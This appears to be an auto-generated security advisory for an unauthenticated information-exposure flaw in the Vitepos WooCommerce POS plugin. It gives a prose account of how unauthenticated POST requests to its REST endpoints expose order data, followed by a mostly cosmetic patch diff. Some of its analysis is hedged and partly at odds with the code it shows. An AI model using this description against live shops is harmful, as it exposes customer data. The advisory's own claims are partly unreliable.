Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-54841: Vitepos – Point of Sale (POS) for WooCommerce <= 3.4.2 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Plugin vitepos-lite
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 3.4.2
Patched Version 3.4.3
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54841:
This vulnerability affects the Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress, version 3.4.2 and earlier. It allows unauthenticated attackers to extract sensitive user or configuration data. The CVSS score is 5.3 (medium severity).

Root Cause:
The root cause is missing authorization checks in several REST API routes defined in the file `/vitepos-lite/vitepos_lite/api/v1/class-pos-restaurant-api.php`. The `set_route_permission()` method in this file contains a default case that returns `POS_Settings::is_pos_user()` for routes not explicitly listed. However, the patch removes numerous route registrations (lines 44-52 in the diff), including `send-to-kitchen`, `start-preparing`, `make-served`, `deny-order`, `cancel-order`, `cancel-order-request`, `cancel-request-ans`, `add-kitchen-note`, `served-list`, `canned-message`, `change-status`, and `cashier-details/(?Pd+)`. These routes were removed from the `routes()` method, but in the vulnerable version, they were registered and accessible without proper authentication. The `sync-order-list` route permission was also changed from `POS_Settings::is_restaurant_mode()` to `current_user_can(‘order-list’) || POS_Settings::is_pos_user()`.

Exploitation:
An attacker can send unauthenticated POST requests to the WordPress REST API using the Vitepos namespace. The specific endpoints are under `/wp-json/vitepos/v1/` or similar (the namespace is defined in the plugin). For example, the `sync-order-list` endpoint allows an attacker to retrieve order data without authentication. The attacker does not need a nonce or any authentication token. By sending a POST request to endpoints like `cancel-order-request` or `sync-order-list`, an attacker could trigger actions or retrieve data that should require a logged-in POS user.

Patch Analysis:
The patch removes many unused REST API route registrations from the `routes()` method. These routes were deprecated functionality. The patch also changes the permission check for the `sync-order-list` route from `POS_Settings::is_restaurant_mode()` to `current_user_can(‘order-list’) || POS_Settings::is_pos_user()`. This ensures that only authenticated users with the appropriate capability can access order list data. The `set_route_permission()` method now falls through to the default `POS_Settings::is_pos_user()` check for most removed routes. However, since the routes themselves are no longer registered, they are not accessible.

Impact:
An unauthenticated attacker can access sensitive information such as customer data, order details, or configuration settings. This is an information exposure vulnerability (CWE-200). The attacker could enumerate customer data, view order statuses, or gain insights into the site’s configuration, potentially leading to further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/vitepos-lite/dci/notice.php
+++ b/vitepos-lite/dci/notice.php
@@ -113,5 +113,5 @@
 		<?php
 	}

-
+
 }
--- a/vitepos-lite/vendor/autoload.php
+++ b/vitepos-lite/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInite253a25bd16bcce12d87a74e3774ca95::getLoader();
+return ComposerAutoloaderInitcf1a3d40be2db3d20e77f5829d3856fd::getLoader();
--- a/vitepos-lite/vendor/composer/autoload_real.php
+++ b/vitepos-lite/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@



-class ComposerAutoloaderInite253a25bd16bcce12d87a74e3774ca95
+class ComposerAutoloaderInitcf1a3d40be2db3d20e77f5829d3856fd
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInite253a25bd16bcce12d87a74e3774ca95', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitcf1a3d40be2db3d20e77f5829d3856fd', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInite253a25bd16bcce12d87a74e3774ca95', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitcf1a3d40be2db3d20e77f5829d3856fd', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInite253a25bd16bcce12d87a74e3774ca95::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInite253a25bd16bcce12d87a74e3774ca95::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/vitepos-lite/vendor/composer/autoload_static.php
+++ b/vitepos-lite/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInite253a25bd16bcce12d87a74e3774ca95
+class ComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd
 {
     public static $files = array (
         'c33f23be1f768473540e11bdf37dab3a' => __DIR__ . '/..' . '/appsbd-wp/appsbd-lite/appsbd_lite/v5/core/class-kernel-lite.php',
@@ -14,22 +14,22 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'V' =>
+        'V' =>
         array (
             'VitePos_Lite\' => 13,
         ),
-        'A' =>
+        'A' =>
         array (
             'Appsbd_Lite\' => 12,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'VitePos_Lite\' =>
+        'VitePos_Lite\' =>
         array (
             0 => __DIR__ . '/../..' . '/vitepos_lite',
         ),
-        'Appsbd_Lite\' =>
+        'Appsbd_Lite\' =>
         array (
             0 => __DIR__ . '/..' . '/appsbd-wp/appsbd-lite/appsbd_lite',
         ),
@@ -42,9 +42,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInite253a25bd16bcce12d87a74e3774ca95::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInite253a25bd16bcce12d87a74e3774ca95::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInite253a25bd16bcce12d87a74e3774ca95::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitcf1a3d40be2db3d20e77f5829d3856fd::$classMap;

         }, null, ClassLoader::class);
     }
--- a/vitepos-lite/vendor/composer/installed.php
+++ b/vitepos-lite/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'appsbd/vitepos-lite',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'b9b8bb601cc81761c318de19fdedc6a232efd06b',
+        'reference' => '947c38a59afd8f10898deb844b61b3ca6efe7d2f',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'appsbd/vitepos-lite' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'b9b8bb601cc81761c318de19fdedc6a232efd06b',
+            'reference' => '947c38a59afd8f10898deb844b61b3ca6efe7d2f',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/vitepos-lite/vitepos-lite.php
+++ b/vitepos-lite/vitepos-lite.php
@@ -3,12 +3,12 @@
  * Plugin Name: Vitepos – Point of Sale (POS) for WooCommerce
  * Plugin URI: http://appsbd.com
  * Description: It's a Point of Sale plugin for Woocommerce, so fast and easy.
- * Version: 3.4.2
+ * Version: 3.4.3
  * Author: appsbd
  * Author URI: http://www.appsbd.com
  * Text Domain: vitepos-lite
  * Domain Path: /languages
- * Requires at least: 5.2
+ * Requires at least: 5.9
  * Requires PHP: 7.2
  * wc require:3.2.0
  * License: GPLv2 or later
@@ -36,7 +36,3 @@
 	$vitepos = new VitePosLite( __FILE__ );
 	$vitepos->start_plugin();
 }
-
-/**
-* SDK Integration
-*/
--- a/vitepos-lite/vitepos_lite/api/v1/class-pos-customer-api.php
+++ b/vitepos-lite/vitepos_lite/api/v1/class-pos-customer-api.php
@@ -101,7 +101,7 @@
 			$customer_obj->username   = $user->user_nicename;
 			$customer_obj->email      = $user->user_email;
 			$customer_obj->city       = $user->billing_city;
-
+
 			$customer_obj->contact_no = $user->contact_no;
 			$customer_obj->street     = $user->street;
 			$customer_obj->country    = $user->billing_country;
@@ -162,7 +162,7 @@
 			$customer_obj->username   = $user->user_nicename;
 			$customer_obj->email      = $user->user_email;
 			$customer_obj->city       = $user->billing_city;
-
+
 			$customer_obj->contact_no = $user->billing_phone;
 			$customer_obj->street     = $user->billing_address_1;
 			$customer_obj->country    = $user->billing_country;
@@ -266,7 +266,7 @@
 				$old_cus = get_user_by( 'ID', $this->payload['id'] );
 			}
 			if ( ! empty( $old_cus ) ) {
-
+
 				if ( POS_Settings::is_pos_user( $old_cus ) ) {
 					$this->add_error( 'You cannot modify the information of this user because they have a higher-level role.' );
 					$this->response->set_response( false, '' );
--- a/vitepos-lite/vitepos_lite/api/v1/class-pos-order-api.php
+++ b/vitepos-lite/vitepos_lite/api/v1/class-pos-order-api.php
@@ -140,7 +140,7 @@
 			$order_arg = array(
 				'customer_id' => $customer_id,
 			);
-
+
 			$order        = wc_create_order( $order_arg );
 			$total_amount = 0.0;
 			$total_tax    = 0.0;
@@ -163,9 +163,9 @@

 						$arguments ['name'] = wc_get_product( $item['product_id'] )->get_name();
 						$product            = new WC_Product_Variation( $item['variation_id'] );
-						$item_id            = $order->add_product( $product, $item['quantity'], $arguments );
+						$item_id            = $order->add_product( $product, $item['quantity'], $arguments );
 					} else {
-						$item_id = $order->add_product( wc_get_product( $item['product_id'] ), $item['quantity'], $arguments );
+						$item_id = $order->add_product( wc_get_product( $item['product_id'] ), $item['quantity'], $arguments );
 					}
 					$total_tax += ( $item['quantity'] * $item['tax_amount'] );
 					$oitem      = new WC_Order_Item_Product( $item_id );
@@ -174,7 +174,7 @@
 					} else {
 						$oitem->add_meta_data( '_vtp_regular_price', '' );
 					}
-					$oitem->add_meta_data( '_vtp_items_price', $item['price'] );
+					$oitem->add_meta_data( '_vtp_items_price', $item['price'] );

 					$oitem->save();

@@ -182,7 +182,7 @@
 					$this->add_error( $e->getMessage() );
 				}
 			}
-
+
 			if ( ! empty( $customer_id ) ) {
 				/**
 				 * Its for check is there any change before process
@@ -210,13 +210,12 @@

 				$sub_amount = $order->get_subtotal() + $order->get_total_tax( 'view' );
 				if ( $sub_amount != $this->get_payload( 'sub_total', 0.0 ) ) {
-					$order->add_meta_data( '_vt_sub_total', appsbd_wc_amount( $this->get_payload( 'sub_total', 0.0 ) ) );
+					$order->add_meta_data( '_vt_sub_total', vitepos_wc_amount( $this->get_payload( 'sub_total', 0.0 ) ) );
 				}
 			} else {
 				$total_amount = $order->get_subtotal();
 			}
-
-
+
 			$fee_total = 0.0;
 			if ( ! empty( $this->payload['fees'] ) && is_array( $this->payload['fees'] ) ) {
 				foreach ( $this->payload['fees'] as $item ) {
@@ -245,7 +244,6 @@
 				}
 			}

-
 			$discount_total = 0.0;
 			$discount       = 0.0;
 			if ( ! empty( $this->payload['discounts'] ) && is_array( $this->payload['discounts'] ) ) {
@@ -312,7 +310,7 @@
 				$outlet_id  = $this->get_outlet_id();
 				$counter_id = $this->get_counter_id();
 			}
-
+
 			$payment_list = $this->get_payload( 'payment_list', array() );
 			foreach ( $payment_list as &$pmt ) {
 				$pmt['is_paid'] = in_array( $pmt['type'], array( 'C', 'S', 'O' ) ) ? 'Y' : 'N';
@@ -338,7 +336,7 @@
 					$processed_by = $user->ID;
 					$order->add_meta_data( '_vtp_processed_by', $processed_by );
 				}
-
+
 				$cashdrawer_id = $this->get_payload( 'cash_drawer_id', '' );
 				if ( ! empty( $cashdrawer_id ) ) {
 					$cashdrawer = Mapbd_Pos_Cash_Drawer::find_by(
--- a/vitepos-lite/vitepos_lite/api/v1/class-pos-restaurant-api.php
+++ b/vitepos-lite/vitepos_lite/api/v1/class-pos-restaurant-api.php
@@ -15,13 +15,8 @@
 }

 use Appsbd_LiteV5libsAPI_Data_Response;
-use PHPMailerPHPMailerException;
 use VitePos_LiteLibsAPI_Base;
 use VitePos_LiteLibsPOS_Order;
-use VitePos_LiteLibsPOS_Payment;
-use VitePos_LiteModelsDatabaseMapbd_Pos_Cash_Drawer;
-use VitePos_LiteModelsDatabaseMapbd_Pos_Cash_Drawer_Types;
-use VitePos_LiteModelsDatabaseMapbd_Pos_Role;
 use VitePos_LiteModulesPOS_Settings;

 /**
@@ -46,19 +41,7 @@
 	 * @return mixed|void
 	 */
 	public function routes() {
-		$this->register_rest_route( 'POST', 'send-to-kitchen', array( $this, 'send_to_kitchen' ) );
-		$this->register_rest_route( 'POST', 'start-preparing', array( $this, 'start_preparing' ) );
-		$this->register_rest_route( 'POST', 'make-served', array( $this, 'make_served' ) );
-		$this->register_rest_route( 'POST', 'deny-order', array( $this, 'deny_order' ) );
-		$this->register_rest_route( 'POST', 'cancel-order', array( $this, 'cancel_order' ) );
-		$this->register_rest_route( 'POST', 'cancel-order-request', array( $this, 'cancel_request' ) );
-		$this->register_rest_route( 'POST', 'cancel-request-ans', array( $this, 'cancel_request_ans' ) );
-		$this->register_rest_route( 'POST', 'add-kitchen-note', array( $this, 'add_kitchen_msg' ) );
-		$this->register_rest_route( 'POST', 'served-list', array( $this, 'served_list' ) );
-		$this->register_rest_route( 'POST', 'canned-message', array( $this, 'canned_messages' ) );
 		$this->register_rest_route( 'POST', 'sync-order-list', array( $this, 'sync_order_list' ) );
-		$this->register_rest_route( 'POST', 'change-status', array( $this, 'change_status' ) );
-		$this->register_rest_route( 'GET', 'cashier-details/(?P<id>d+)', array( $this, 'cashier_details' ) );
 	}

 	/**
@@ -70,18 +53,8 @@
 	 */
 	public function set_route_permission( $route ) {
 		switch ( $route ) {
-			case ( 'send-to-kitchen' ):
-				return current_user_can( 'waiter-to-kitchen' ) || current_user_can( 'cashier-to-kitchen' );
-			case ( 'start-preparing' ):
-				return current_user_can( 'start-preparing' );
-			case ( 'complete-preparing' ):
-				return current_user_can( 'ready-order' );
 			case 'sync-order-list':
-				return POS_Settings::is_restaurant_mode();
-			case 'order-list':
-				return current_user_can( 'order-list' );
-			case 'order_details':
-				return current_user_can( 'order-details' );
+				return current_user_can( 'order-list' ) || POS_Settings::is_pos_user();
 			default:
 				return POS_Settings::is_pos_user();
 		}
@@ -89,1112 +62,7 @@
 		return parent::set_route_permission( $route );
 	}

-	/**
-	 * The make payment is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function make_payment() {
-		try {
-			return $this->make_order_payment( false );
-		} catch ( Exception $e ) {
-			$this->add_error( $e->getMessage() );
-			$this->response->set_response( false );
-		} catch ( WC_Data_Exception $e ) {
-			$this->add_error( $e->getMessage() );
-			$this->response->set_response( false );
-		}
-		return $this->response;
-	}
-	/**
-	 * The make payment is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function sync_offline_payment() {
-		$this->add_error( 'No Offline order for restaurent' );
-		$this->response->set_response( false );
-		return $this->response->get_response();
-	}
-	/**
-	 * The make order payment is generated by appsbd
-	 *
-	 * @param false $is_offline Is offline or not.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 * @throws WC_Data_Exception Throw data exception.
-	 */
-	private function make_order_payment( $is_offline = false ) {
-		self::set_vite_pos_request();
-		$order_id = $this->get_payload( 'order_id' );
-		$payment  = new POS_Payment( $this->payload, $this->get_outlet_id(), $this->get_counter_id() );
-		if ( $payment->restaurant_checkout( $order_id ) ) {
-			$this->response->set_response( true, '', $payment->get_order_details() );
-		} else {
-			$this->response->set_response( false, '' );
-		}
-		return $this->response->get_response();
-	}
-	/**
-	 * The make order payment is generated by appsbd
-	 *
-	 * @param false $is_offline Is offline or not.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 * @throws WC_Data_Exception Throw data exception.
-	 */
-	private function make_order_payment2( $is_offline = false ) {
-		self::set_vite_pos_request();
-
-
-		$order_id = $this->get_payload( 'order_id' );
-
-		if ( ! POS_Settings::is_admin_user() ) {
-			if ( ! current_user_can( 'pos-discount' ) && ( ! empty( $this->payload['discounts'] ) && is_array( $this->payload['discounts'] ) ) ) {
-				$this->response->set_response( false, 'You do not have permission to give discount' );
-				return $this->response->get_response();
-			}
-			$current_user  = get_user_by( 'id', $this->get_current_user_id() );
-			$user_discount = Mapbd_Pos_Role::get_discount_percentage( $current_user );
-			if ( ! $this->check_discount_limit( $this->payload['sub_total'], $user_discount, $this->payload['discounts'] ) ) {
-				$this->response->set_response( false, 'You can not give this much discount' );
-				return $this->response->get_response();
-			}
-		}
-		if ( ! current_user_can( 'pos-fee' ) && ( ! empty( $this->payload['fees'] ) && is_array( $this->payload['fees'] ) ) ) {
-			$this->response->set_response( false, 'You do not have permission to have fees' );
-			return $this->response->get_response();
-		}
-		$outlet_obj   = $this->get_outlet_obj();
-		$given_amount = (float) $this->get_payload( 'given_amount', 0.0 );
-		$grand_total  = (float) $this->get_payload( 'grand_total', 0.0 );
-
-
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			$stat  = $order->get_status();
-			if ( ! empty( $order ) && 'vt_served' == $stat ) {
-				$billing_address = array(
-					'first_name' => $outlet_obj->name,
-					'last_name'  => '',
-					'email'      => $outlet_obj->email,
-					'phone'      => $outlet_obj->phone,
-					'address_1'  => 'Y' == $outlet_obj->main_branch ? 'Main Branch' : '',
-					'city'       => $outlet_obj->city,
-					'state'      => $outlet_obj->state,
-					'postcode'   => $outlet_obj->zip_code,
-					'country'    => $outlet_obj->country,
-				);
-				$customer_id     = $order->get_customer_id();
-				if ( empty( $customer_id ) ) {
-					$customer_id = $this->get_payload( 'customer', POS_Settings::get_module_option( 'pos_customer', null ) );
-					$order->set_customer_id( $customer_id );
-					/**
-					 * Its for check is there any change before process
-					 *
-					 * @param $billing_address Object
-					 * @param $order WC_Order Object
-					 * @param $order_arg customer data
-					 * @since 1.0
-					 */
-					$billing_address = apply_filters( 'vitepos/filter/billing-address', $billing_address, $order, $customer_id );
-
-					$order->set_address( $billing_address, 'billing' );
-				}
-
-
-
-				$total_amount = 0.0;
-				$total_tax    = 0.0;
-
-				$order->calculate_totals( true );
-				$total_amount = $order->get_subtotal();
-
-				$fee_total = 0.0;
-				if ( ! empty( $this->payload['fees'] ) && is_array( $this->payload['fees'] ) ) {
-					foreach ( $this->payload['fees'] as $item ) {
-						if ( ! empty( $item['type'] ) && ! empty( $item['val'] ) ) {
-							$item_val = floatval( $item['val'] );
-							$title    = POS_Settings::get_module_instance()->__( 'Fee' );
-							if ( $item_val > 0 ) {
-								if ( strtoupper( $item['type'] ) == 'P' ) {
-									$item_amount = $total_amount * ( $item_val / 100 );
-									$title      .= '(' . $item['val'] . '%)';
-								} else {
-									$item_amount = $item_val;
-								}
-								$fee_total += $item_amount;
-								vitepos_order_add_fee_on_order(
-									$order,
-									$title,
-									$item_amount,
-									array(
-										'_vtp_cal_type' => $item['type'],
-										'_vtp_cal_val'  => $item['val'],
-									)
-								);
-							}
-						}
-					}
-				}
-				if ( ! $is_offline && ! POS_Settings::is_admin_user() ) {
-					if ( ! $this->check_discount_limit( $total_amount, $user_discount, $this->payload['discounts'] ) ) {
-						$order->delete( true );
-						$this->response->set_response( false, 'You can not give this much discount' );
-
-						return $this->response->get_response();
-					}
-				}
-				$discount_total = 0.0;
-				$discount       = 0.0;
-				if ( ! empty( $this->payload['discounts'] ) && is_array( $this->payload['discounts'] ) ) {
-					foreach ( $this->payload['discounts'] as $item ) {
-						if ( ! empty( $item['type'] ) && ! empty( $item['val'] ) ) {
-							$item_val = floatval( $item['val'] );
-							$title    = POS_Settings::get_module_instance()->__( 'Discount' );
-							if ( $item_val > 0 ) {
-								if ( strtoupper( $item['type'] ) == 'P' ) {
-									$item_amount = $total_amount * ( $item_val / 100 );
-									$title      .= '(' . $item['val'] . '%)';
-								} else {
-									$item_amount = $item_val;
-								}
-								$discount += $item_amount;
-								vitepos_order_add_discount_on_order(
-									$order,
-									$title,
-									$item_amount,
-									array(
-										'_vtp_cal_type' => $item['type'],
-										'_vtp_cal_val'  => $item['val'],
-									)
-								);
-							}
-						}
-					}
-				}
-
-				try {
-					if ( $total_tax > 0 ) {
-						$order->set_cart_tax( $total_tax );
-					}
-				} catch ( Exception $e ) {
-					$this->add_error( $e->getMessage() );
-				}
-
-				$order->calculate_totals( false );
-				$rounding_factor = null;
-				if ( $order->get_total() != $grand_total ) {
-					try {
-						$order->add_meta_data( '_vtp_miss_total', ( - 1 ) * ( $order->get_total() - $grand_total ) );
-						$order->set_total( $grand_total );
-					} catch ( Exception $e ) {
-						$order->calculate_totals( false );
-					}
-				}
-
-				$order->update_meta_data( '_vtp_fee_total', - $fee_total );
-				$order->update_meta_data( '_vtp_discount_total', - $discount_total );
-
-				$order->update_meta_data( '_vtp_order_note', $this->get_payload( 'note', '' ) );
-				$order->update_meta_data( '_vtp_payment_note', $this->get_payload( 'payment_note', '' ) );
-				$order->update_meta_data( '_vtp_payment_method', $this->get_payload( 'payment_method', '' ) );
-				$order->add_meta_data( '_vtp_tendered_amount', $this->get_payload( 'given_amount', 0.0 ) );
-				$change_amount = $this->get_payload( 'returned_amount', 0.0 );
-				$order->add_meta_data( '_vtp_change_amount', $change_amount );
-				$payment_list = $this->get_payload( 'payment_list', array() );
-				$processed_by = $this->get_current_user_id();
-				if ( ! $is_offline ) {
-					$outlet_id  = $this->get_outlet_id();
-					$counter_id = $this->get_counter_id();
-				}
-				$order->add_meta_data( '_vtp_payment_list', $payment_list );
-
-				$cashdrawer = Mapbd_Pos_Cash_Drawer::get_by_counter( $outlet_id, $counter_id, $processed_by );
-
-				$order->add_meta_data( '_vtp_processed_by', $processed_by );
-				if ( ! empty( $cashdrawer ) ) {
-					$order->add_meta_data( '_vtp_cash_drawer_id', $cashdrawer->id );
-					$cash_found = false;
-					foreach ( $payment_list as $payment ) {
-						if ( 'C' == $payment['type'] ) {
-							$cash_found = true;
-							$amount     = doubleval( $payment['amount'] ) - doubleval( $change_amount );
-							if ( $amount > 0.0 ) {
-								Mapbd_Pos_Cash_Drawer::add_order(
-									$this->get_current_user_id(),
-									$amount,
-									$order->get_id(),
-									$outlet_id,
-									$counter_id
-								);
-							} else {
-								Mapbd_Pos_Cash_Drawer::add_order(
-									$this->get_current_user_id(),
-									doubleval( $payment['amount'] ),
-									$order->get_id(),
-									$outlet_id,
-									$counter_id
-								);
-								Mapbd_Pos_Cash_Drawer::add_change_log(
-									$this->get_current_user_id(),
-									doubleval( $change_amount ),
-									$order->get_id(),
-									$outlet_id,
-									$counter_id
-								);
-							}
-						}
-						Mapbd_Pos_Cash_Drawer_Types::AddLog(
-							$cashdrawer->id,
-							$this->get_current_user_id(),
-							$order->get_id(),
-							$payment['type'],
-							$payment['amount']
-						);
-					}
-					if ( $change_amount > 0 ) {
-						if ( ! $cash_found ) {
-							Mapbd_Pos_Cash_Drawer::add_change_log(
-								$this->get_current_user_id(),
-								$change_amount,
-								$order->get_id(),
-								$outlet_id,
-								$counter_id
-							);
-						}
-						Mapbd_Pos_Cash_Drawer_Types::AddLog(
-							$cashdrawer->id,
-							$this->get_current_user_id(),
-							$order->get_id(),
-							'_',
-							$change_amount
-						);
-					}
-				}
-				if ( $order->update_status( 'completed', 'Imported order', true ) ) {
-					$msg  = POS_Order::add_resto_order_msg( $order->get_id(), 'Order has been completed' );
-					$data = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Order successfully completed', $data );
-				} else {
-					$this->response->set_response( false, 'Failed', null );
-				}
-			} else {
-				$this->response->set_response( false, 'Invalid order info ', null );
-			}
-		} else {
-			$this->response->set_response( false, 'Empty order param ', null );
-		}
-		return $this->response->get_response();
-	}
-
-	/**
-	 * The start preparing is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function start_preparing() {
-
-
-		$order_id = $this->get_payload( 'order_id' );
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->get_status() == 'vt_in_kitchen' ) {
-				if ( $order->update_status( 'vt_preparing', 'Order preparing in kitchen', true ) ) {
-					$this->add_time_by_status( $order, 'vt_preparing' );
-					$msg           = POS_Order::add_resto_order_msg( $order_id, 'Order preparing in kitchen' );
-					$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Order stated cooking', $updated_order );
-					return $this->response->get_response();
-				}
-			}
-		}
-		$this->response->set_response( false, 'Cancel does not possible', null );
-
-		return $this->response->get_response();
-	}
-	/**
-	 * The start preparing is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function make_served() {
-
-
-		$order_id = $this->get_payload( 'order_id' );
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->get_status() == 'vt_ready_to_srv' ) {
-				if ( $order->update_status( 'vt_served', 'Order has been served', true ) ) {
-					$this->add_time_by_status( $order, 'vt_served' );
-					$msg           = POS_Order::add_resto_order_msg( $order_id, 'Order has been served' );
-					$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Order has been served', $updated_order );
-					return $this->response->get_response();
-				}
-			}
-		}
-		$this->response->set_response( false, 'Cancel does not possible', null );
-
-		return $this->response->get_response();
-	}
-
-	/**
-	 * The complete preparing is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function complete_preparing() {
-		$order_id = $this->get_payload( 'order_id' );
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->get_status() == 'vt_preparing' ) {
-				if ( $order->update_status( 'vt_ready_to_srv', 'Order is ready to serve', true ) ) {
-					$this->add_time_by_status( $order, 'vt_ready_to_srv' );
-					$msg           = POS_Order::add_resto_order_msg( $order_id, 'Order is ready to serve' );
-					$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Order is ready to serve', $updated_order );
-					return $this->response->get_response();
-				}
-			} else {
-				$this->response->set_response( false, 'You can not change this order to ready', null );
-				return $this->response->get_response();
-			}
-		}
-		$this->response->set_response( false, 'Order status change failed', null );
-		return $this->response->get_response();
-	}
-	/**
-	 * The complete preparing is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function cancel_request() {
-		$order_id = $this->get_payload( 'order_id' );
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->get_status() == 'vt_preparing' ) {
-				if ( $order->update_status( 'vt_cancel_request', 'Cancel requested', true ) ) {
-					$this->add_time_by_status( $order, 'vt_cancel_request' );
-					$msg           = POS_Order::add_resto_order_msg( $order_id, 'Please cancel this order' );
-					$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Cancel request sent success', $updated_order );
-					return $this->response->get_response();
-				}
-			} else {
-				$this->response->set_response( false, 'Cancel request is not possible for this order', null );
-				return $this->response->get_response();
-			}
-		}
-		$this->response->set_response( false, 'Order status change failed', null );
-		return $this->response->get_response();
-	}
-	/**
-	 * The complete preparing is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function cancel_request_ans() {
-		$order_id = $this->get_payload( 'order_id' );
-		$answer   = strtoupper( $this->get_payload( 'ans', 'N' ) );
-		if ( ! empty( $order_id ) && ! empty( $answer ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->get_status() == 'vt_cancel_request' ) {
-				if ( 'Y' == $answer ) {
-					if ( $order->update_status( 'cancelled', 'Cancel requested accepted', true ) ) {
-						$this->add_time_by_status( $order, 'cancelled' );
-						$msg           = POS_Order::add_resto_order_msg( $order_id, 'Cancel requested accepted' );
-						$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-						$this->response->set_response( true, 'Cancel request sent success', $updated_order );
-						return $this->response->get_response();
-					}
-				} elseif ( $order->update_status( 'vt_preparing', 'Cancel request denied', true ) ) {
-
-						vitepos_wc_order_update_meta( $order, '_vt_can_cancel', 'N' );
-						$this->add_time_by_status( $order, 'vt_preparing' );
-						$msg           = POS_Order::add_resto_order_msg( $order_id, 'Cancel is not possible' );
-						$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-						$this->response->set_response( true, 'Cancel request denied', $updated_order );
-						return $this->response->get_response();
-				}
-			} else {
-				$this->response->set_response( false, 'Cancel request is not possible for this order', null );

-				return $this->response->get_response();
-			}
-		}
-		$this->response->set_response( false, 'Action failed try again', null );
-		return $this->response->get_response();
-	}
-	/**
-	 * The deny order is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function cancel_order() {
-
-
-		$order_id = $this->get_payload( 'order_id' );
-		if ( ! empty( $order_id ) ) {
-			$order  = new WC_Order( $order_id );
-			$status = $order->get_status();
-			if ( in_array( $status, array( 'vt_kitchen_deny', 'vt_in_kitchen' ) ) ) {
-
-				if ( $order->update_status( 'cancelled', 'Order Cancel', true ) ) {
-					$this->add_time_by_status( $order, 'vt_kitchen_deny' );
-					$msg           = POS_Order::add_resto_order_msg( $order_id, 'Order canceled' );
-					$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-					$this->response->set_response( true, 'Order canceled successfully', $updated_order );
-					return $this->response->get_response();
-				}
-			}
-		}
-		$this->response->set_response( false, 'Cancel does not possible', null );
-
-		return $this->response->get_response();
